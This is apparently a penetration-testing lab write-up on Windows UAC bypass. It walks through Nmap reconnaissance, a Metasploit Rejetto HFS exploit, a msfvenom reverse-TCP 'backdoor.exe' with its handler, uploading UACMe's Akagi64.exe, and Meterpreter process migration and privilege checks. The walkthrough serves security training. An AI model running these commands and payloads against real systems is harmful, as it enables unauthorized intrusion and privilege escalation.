Skip to content

Windows UAC Bypass With UACMe

Overview

User Account Control (UAC) is a Windows security feature designed to prevent unauthorized changes to the operating system.

When a user or application attempts to perform an administrative action, Windows can display a UAC prompt requesting approval or administrator credentials.

In a penetration-testing lab, UAC bypass techniques can be studied to understand how an attacker with administrative-group access but without a fully elevated process may attempt to obtain a high-integrity process.

This note covers the initial reconnaissance, obtaining a Meterpreter session, identifying the current user and privileges, understanding UAC configuration, and introducing UACMe for studying UAC bypass techniques.

All examples in this note should be performed only against systems that you own or are explicitly authorized to test.

User Account Control

UAC was introduced in Windows Vista to help prevent unauthorized changes to the operating system.

UAC separates normal user activity from administrative operations by using different integrity levels and elevation prompts.

A non-administrative user normally receives a credential prompt when an administrative operation is requested.

A user who is already a member of the local Administrators group may receive a consent prompt instead.

The important distinction is that being a member of the Administrators group does not necessarily mean that every process is already running with full administrative privileges.

UAC Security Levels

Windows provides several UAC notification levels.

The default configuration generally allows Windows to notify the user when applications attempt to make changes while not prompting for changes initiated by the user through Windows settings.

The UAC setting can be viewed from:

Control Panel
    -> User Account Control
    -> Change User Account Control settings

The security level can be adjusted using the UAC slider.

In a security-testing lab, changing this setting can help demonstrate how different UAC configurations affect privilege elevation.

Understanding UAC Bypass

A UAC bypass does not normally mean obtaining administrator credentials.

Instead, the objective is to abuse a trusted Windows component or configuration that can cause a process to execute with elevated privileges without displaying the expected UAC consent prompt.

A typical lab scenario looks like:

Initial Access
      |
      v
Low/Medium Integrity Process
      |
      v
User is Member of Administrators
      |
      v
UAC Restriction
      |
      v
UAC Bypass Technique
      |
      v
High Integrity Process

The exact technique depends on the Windows version, build, configuration, and available vulnerable or auto-elevated components.

Requirements for Studying UAC Bypass

A common UAC bypass lab requires access to an account that belongs to the local Administrators group.

The account may still be running normal applications without a fully elevated administrative token.

For example, the following command can be used to enumerate local users:

net user

Example output:

User accounts for \\VICTIM

-------------------------------------------------
admin          Administrator          Guest

The command completed successfully.

The local Administrators group can then be examined with:

net localgroup administrators

Example:

Alias name     administrators

Members

-------------------------------------------------
admin
Administrator

The command completed successfully.

This confirms that admin is a member of the local Administrators group.

Why Administrator Group Membership Matters

A user being present in the local Administrators group does not necessarily mean that the current process has unrestricted administrative privileges.

Windows can provide the user with a filtered token for normal activity while requiring elevation for administrative operations.

This is why UAC is important during post-exploitation.

For example:

User: admin
Group: Administrators
Current Process: Medium Integrity

The user has administrative capability, but the current process may not yet have a fully elevated token.

Initial Access in the Lab

Before demonstrating UAC-related behavior, the lab first establishes access to the Windows target.

The example environment contains a Windows system exposing several services.

An Nmap scan can be used for initial enumeration:

nmap 10.2.22.220

Example results:

PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49163/tcp open  unknown
49165/tcp open  unknown

The scan identifies HTTP, SMB, RDP, RPC, and several dynamically allocated Windows RPC ports.

Further enumeration can be performed against the exposed services.

Setting Up Metasploit

Metasploit can be started after identifying a suitable service or vulnerability in the authorized lab environment.

service postgresql start
msfconsole

Once Metasploit starts, the target can be configured:

msf6 > setg RHOSTS 10.2.22.220
RHOSTS => 10.2.22.220

Searching for available modules can then be performed with:

msf6 > search rejetto

The example identifies:

exploit/windows/http/rejetto_hfs_exec

The module targets Rejetto HTTP File Server and can provide an initial Meterpreter session when the target is vulnerable and the lab conditions are appropriate.

Obtaining a Meterpreter Session

After configuring the appropriate module and payload settings, the lab demonstrates obtaining a Meterpreter session.

Example output:

[*] Started reverse TCP handler
[*] Using URL: http://0.0.0.0:8080/...
[*] Server started.
[*] Sending a malicious request
[*] Payload request received
[*] Sending stage
[*] Meterpreter session 1 opened

The important result is:

Meterpreter session 1 opened

This indicates that the initial-access stage has succeeded and an interactive Meterpreter session is available.

Session Management

Once a Meterpreter session is established, session management becomes important.

Metasploit can maintain multiple sessions simultaneously.

Useful commands include:

sessions

To interact with a specific session:

sessions -i 1

The Metasploit console may also provide a shortcut such as:

sessions -1

This interacts with the most recently opened session.

A typical workflow is:

msf6
 |
 +-- Initial Access
 |
 +-- Meterpreter Session 1
 |
 +-- Background Session
 |
 +-- Continue Enumeration
 |
 +-- Reconnect to Session

System Information

After obtaining a Meterpreter session, the target operating system can be identified using:

meterpreter > sysinfo

Example:

Computer     : VICTIM
OS           : Windows 2012 R2 (6.3 Build 9600)
Architecture : x64
System Lang  : en_US
Domain       : WORKGROUP
Logged On    : 2
Meterpreter  : x86/windows

This information is useful because privilege-escalation and UAC techniques can depend heavily on the Windows version and architecture.

Process Migration

The Meterpreter session initially shown in the lab is an x86 session on an x64 operating system.

The explorer.exe process can be identified with:

meterpreter > pgrep explorer
2448

A session can then be migrated to the process:

meterpreter > migrate 2448
[*] Migration completed successfully.

The system information can be checked again:

meterpreter > sysinfo

After migration, the session shown in the example becomes:

Meterpreter : x64/windows

Process migration can therefore be useful when the existing session architecture does not match the target environment.

Identifying the Current User

The current security context can be checked using:

meterpreter > getuid

Example:

Server username: VICTIM\admin

This confirms that the Meterpreter session is running in the context of the admin account.

However, knowing the username alone does not tell us whether the current process is fully elevated.

Checking Current Privileges

Meterpreter provides:

meterpreter > getprivs

This displays privileges enabled for the current process.

Example output includes:

SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

Privilege enumeration helps determine what the current process can and cannot perform.

For a privilege-escalation assessment, the distinction between:

User Membership

and:

Current Process Integrity / Token

is important.

Opening a Windows Shell

A Windows command shell can be opened from Meterpreter:

meterpreter > shell

Example:

Microsoft Windows [Version 6.3.9600]

C:\Windows\system32>

From here, standard Windows commands can be used for further enumeration.

For example:

net user

and:

net localgroup administrators

can be used to verify local accounts and administrative-group membership.

Testing Administrative Access

The example attempts to modify the admin account:

net user admin password123

The command returns:

System error 5 has occurred.

Access is denied.

This is an important observation.

The account is a member of the Administrators group, but the current process does not have the required elevated administrative context for the requested operation.

This demonstrates why UAC can be relevant during post-exploitation.

UAC Bypass With UACMe

UACMe is an open-source project designed to demonstrate techniques that abuse Windows auto-elevated functionality to bypass UAC.

The project contains multiple techniques targeting different Windows versions and configurations.

Repository:

https://github.com/hfiref0x/UACME

UACMe documentation provides information about the supported Windows versions, methods, requirements, and implementation details.

UACMe Requirements

The lab example shows UACMe being used against Windows systems where:

Windows 7 / 8 / 8.1 / 10

and appropriate administrative-group membership are relevant to the available techniques.

Compatibility depends on the specific UACMe method and Windows build.

This is important because a UAC bypass technique that works on one Windows build may not work on another.

UACMe Usage Concept

UACMe provides executable implementations of different UAC bypass techniques.

The general concept is:

Medium Integrity Process
        |
        v
UACMe Technique
        |
        v
Trusted / Auto-Elevated Windows Component
        |
        v
Elevated Process

The exact implementation varies between UACMe methods.

The project documentation identifies the Windows versions, affected components, implementation details, and whether a particular method has been fixed.

Windows Build Identification

Windows build information is important when selecting an appropriate UAC bypass technique.

For example, the UACMe documentation shown in the lab references Windows 7 build:

7600

A method may work on an older Windows build but be fixed in a later release.

Therefore, before testing a UAC bypass technique, collect:

Windows Version
Windows Build
Architecture
Current User
Administrator Group Membership
UAC Configuration
Current Integrity Level

Creating a Lab Meterpreter Payload

Another way to establish the session in a controlled lab is to generate a standalone Windows Meterpreter executable with msfvenom.

The generated executable should be treated as a controlled lab artifact and should not be used against systems without authorization.

Example:

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.5.2 \
LPORT=1234 \
-f exe \
-o backdoor.exe

The important parameters are:

-p       Payload to generate
LHOST    IP address of the lab listener
LPORT    Port used by the listener
-f exe   Generate a Windows executable
-o       Output filename

The result is:

backdoor.exe

Verify that the file was created:

ls -lh backdoor.exe

Example:

-rwxr-xr-x 1 root root 72K backdoor.exe

The payload itself does not automatically provide a session. A compatible Metasploit handler must be listening for the reverse connection.

Starting Metasploit Framework

Start Metasploit using:

msfconsole

Example:

=[ metasploit v6.0.21-dev ]
+ -- --=[ 2087 exploits - 1126 auxiliary - 354 post ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

msf6 >

Starting the Handler

The multi/handler module can be used to receive a reverse Meterpreter connection.

msf6 > use multi/handler

Set the payload:

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

Set the listener IP:

msf6 exploit(multi/handler) > set LHOST 10.10.5.2

Set the listening port:

msf6 exploit(multi/handler) > set LPORT 1234

Start the handler:

msf6 exploit(multi/handler) > run

The handler starts listening:

[*] Started reverse TCP handler on 10.10.5.2:1234

When the corresponding lab payload connects back:

[*] Sending stage (175174 bytes) to 10.2.22.220
[*] Meterpreter session 1 opened

The session can then be accessed through:

meterpreter >

Session Management

Metasploit can maintain multiple sessions simultaneously.

List available sessions:

msf6 > sessions

Interact with a specific session:

msf6 > sessions -i 1

Where 1 is the session ID.

A session can be moved to the background without closing it:

meterpreter > background

The Metasploit prompt returns:

msf6 >

The session can later be accessed again:

msf6 > sessions -i 1

A typical workflow looks like:

msf6
  |
  +-- Initial Access
  |
  +-- Meterpreter Session 1
  |
  +-- Background Session
  |
  +-- Continue Enumeration
  |
  +-- sessions -i 1
  |
  +-- Continue Session

Checking the Current User

The getuid command displays the account associated with the Meterpreter session.

meterpreter > getuid

Example:

Server username: VICTIM\admin

This identifies the Windows account under which the Meterpreter process is running.

Checking Privileges

The getprivs command displays privileges available to the current process.

meterpreter > getprivs

Example:

Enabled Process Privileges
==========================

SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeTakeOwnershipPrivilege

Privilege enumeration helps determine the capabilities available to the current process.

It is important to distinguish between:

User Account
     |
     v
Group Membership
     |
     v
Current Process
     |
     v
Available Privileges

Being a member of an administrative group does not necessarily mean that the current process is running with a fully elevated token.

Checking System Information

The sysinfo command displays information about the target system.

meterpreter > sysinfo

Example:

Computer        : VICTIM
OS              : Windows 2012 R2 (6.3 Build 9600)
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

This provides useful information such as:

Computer
Operating System
Architecture
System Language
Domain / Workgroup
Logged-on Users
Meterpreter Architecture

System information is useful when determining the appropriate next steps during authorized testing.

Working With the File System

Meterpreter provides commands for basic file-system interaction.

Check the current directory:

meterpreter > pwd

Example:

C:\Windows\system32

Change directory:

meterpreter > cd C:\

Create a directory:

meterpreter > mkdir Temp

Output:

Creating directory: Temp

Enter the directory:

meterpreter > cd Temp

Uploading Files

The upload command transfers a file from the testing machine to the target.

Example:

meterpreter > upload backdoor.exe

Output:

[*] uploading : /root/backdoor.exe -> backdoor.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%)
[*] uploaded

A file can also be specified using its complete local path:

meterpreter > upload /root/Desktop/tools/UACME/Akagi64.exe

Example:

[*] uploading : /root/Desktop/tools/UACME/Akagi64.exe -> Akagi64.exe
[*] Uploaded 194.50 KiB of 194.50 KiB (100.0%)
[*] uploaded

The uploaded files can then be verified from the target.

Verifying Uploaded Files

Open a Windows shell:

meterpreter > shell

Then list the directory:

C:\Temp>dir

Example:

Directory of C:\Temp

Akagi64.exe
backdoor.exe

2 File(s)

This confirms that the files are present in the target directory.

Opening a Windows Shell

The shell command provides access to the Windows command shell from the Meterpreter session.

meterpreter > shell

Example:

Microsoft Windows [Version 6.3.9600]

C:\Temp>

Normal Windows commands can then be executed:

dir
whoami
hostname

After finishing with the Windows shell, use:

exit

This returns to:

meterpreter >

Enumerating Processes

The ps command displays running processes.

meterpreter > ps

The process list provides information such as:

PID
PPID
Name
Arch
Session
User
Path

Example processes from the lab include:

System
svchost.exe
lsass.exe
winlogon.exe
services.exe
cmd.exe
explorer.exe
backdoor.exe
Akagi64.exe
hfs.exe

The process information can help identify:

  • Running applications

  • Process architecture

  • Associated users

  • Process IDs

  • Process paths

  • System processes

Process Migration

Meterpreter can migrate its session into another running process using its PID.

For example:

meterpreter > migrate 688

Output:

[*] Migrating from 2396 to 688...
[*] Migration completed successfully.

After migration, the Meterpreter session operates through the selected process.

The process list can be used to identify suitable processes:

meterpreter > ps

Process migration should be performed carefully because migrating into an incompatible or protected process can cause the session to become unstable or terminate.

Checking the Session After Migration

After migration, system information can be checked again:

meterpreter > sysinfo

Example:

Computer        : VICTIM
OS              : Windows 2012 R2 (6.3 Build 9600)
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

This can be useful when the original session architecture differs from the target operating system architecture.

Verifying the Security Context

After any UAC-related test, verify whether the process actually obtained the expected security context.

Useful checks include:

meterpreter > getuid
meterpreter > getprivs
meterpreter > sysinfo

From a Windows shell:

whoami

The objective is to compare the state before and after the test:

Before
    |
    +-- Administrator Group Member
    +-- Medium Integrity
    +-- Limited Token
    |
    v
UAC Test
    |
    v
After
    |
    +-- Same User
    +-- Elevated Process
    +-- Higher Integrity Context

The important point is that successful UAC bypass testing should be demonstrated through observable changes in the process security context rather than simply assuming that elevation occurred.

Basic Meterpreter Commands

Command Purpose
getuid Display the current Windows user
getprivs Display available process privileges
sysinfo Display target system information
pwd Display the current directory
cd Change directory
mkdir Create a directory
upload Upload a file to the target
shell Open a Windows command shell
ps Display running processes
migrate <PID> Migrate the Meterpreter session
background Background the current session
sessions Display active Metasploit sessions
sessions -i <ID> Interact with a specific session

Lab Workflow

The overall workflow demonstrated so far can be represented as:

# Complete Lab Workflow

Target Enumeration
        |
        v
Identify Exposed Services
        |
        v
Initial Access
        |
        v
Meterpreter Session
        |
        +--------------------+
        |                    |
        v                    v
   Session Management   msfvenom Payload
        |                    |
        |                    v
        |              backdoor.exe
        |                    |
        |                    v
        |              Lab Execution
        |                    |
        |                    v
        |              Reverse Session
        |
        v
System Enumeration
        |
        +----> sysinfo
        |
        +----> getuid
        |
        +----> getprivs
        |
        +----> net user
        |
        +----> net localgroup administrators
        |
        v
Process Enumeration
        |
        v
Process Migration
        |
        v
Identify UAC Configuration
        |
        v
Identify Windows Build
        |
        v
Study UACMe Technique
        |
        v
Verify Security Context

Key Concepts

The lab demonstrates several important concepts:

  • UAC protects Windows against unauthorized elevation.
  • Administrator group membership does not necessarily mean that the current process is fully elevated.
  • getuid identifies the account associated with the Meterpreter session.
  • getprivs identifies privileges available to the current process.
  • sysinfo identifies the target operating system and architecture.
  • net user enumerates local accounts.
  • net localgroup administrators identifies members of the local Administrators group.
  • ps provides process information.
  • Process migration can change the architecture and context of a Meterpreter session.
  • An Access is denied response can indicate that the current process lacks the required elevated security context.
  • UAC bypass techniques depend heavily on the Windows version, build, architecture, and configuration.
  • UACMe provides techniques for researching Windows UAC behavior.
  • A generated Meterpreter executable and its handler must use compatible payload, IP, and port settings.
  • Reverse-connection payloads should be used only in controlled environments.

Final Lab Summary

The complete exercise can be summarized as:

Reconnaissance
      |
      v
Initial Access
      |
      v
Meterpreter
      |
      v
Session Management
      |
      v
System Enumeration
      |
      v
User Enumeration
      |
      v
Privilege Enumeration
      |
      v
Administrator Group Verification
      |
      v
UAC Configuration
      |
      v
Windows Build Identification
      |
      v
UACMe Research
      |
      v
UAC Bypass Testing
      |
      v
Security Context Verification

The primary learning objective is to understand the difference between obtaining an initial session, managing that session, identifying the current security context, and studying Windows privilege boundaries such as UAC.

All payload generation, execution, file transfer, and UAC testing should remain within an isolated and explicitly authorized penetration-testing laboratory.